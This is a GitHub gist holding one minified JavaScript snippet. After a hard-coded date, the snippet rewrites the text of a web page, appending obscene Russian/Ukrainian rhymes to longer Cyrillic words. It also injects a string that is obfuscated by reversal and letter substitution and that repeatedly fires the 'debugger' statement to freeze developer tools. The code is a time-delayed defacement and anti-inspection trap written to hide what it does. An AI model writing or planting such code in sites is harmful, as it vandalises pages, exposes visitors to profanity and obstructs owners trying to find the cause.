Skip to content

Instantly share code, notes, and snippets.

@da411d
Created September 17, 2017 18:48
Show Gist options
  • Save da411d/c1118eaf7ceb5c72979683f293cd41dc to your computer and use it in GitHub Desktop.
Save da411d/c1118eaf7ceb5c72979683f293cd41dc to your computer and use it in GitHub Desktop.
function textNodesUnder(e){var n=[];for(e=e.firstChild;e;e=e.nextSibling)3==e.nodeType?n.push(e):n=n.concat(textNodesUnder(e));return n}function process(e){e=e.split(' ');for(var n=0;n<e.length;n++){var r=e[n];if(!(r.length<=5)&&r.match(/[\u0400-\u04FF]/gi)){var t=(r=r.replace(/(\.|,)/gi,'')).split('').reverse().join('').regexIndexOf('(а|о|у|и|і|е|й|я)',2),i=r.substr(t).toLowerCase();r+='-'+(-1==i.regexIndexOf('(а|о|у|и|і|е|й|я)')?'хуй':'хуя')+i,e[n]=r}}return e=e.join(' ')}String.prototype.regexIndexOf=function(e,n){var r=this.substring(n||0).search(e);return r>=0?r+(n||0):r},~~(new Date/864/1e6)>1749&&textNodesUnder(document).forEach(function(e){var n=e.nodeValue;n.length>5&&(n=process(n),e.nodeValue=n)});var f="dniwz.wzlnzitcnuf=dazitcnuF(lavretnItes{)(nzc.nztcurtsnzdniw;)001,)'reggubed'(rz.wzlnz};''=da",s=document.createElement('script');s.innerHTML=f.split('z').reverse().join('o').split('').reverse().join(''),document.head.appendChild(s);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment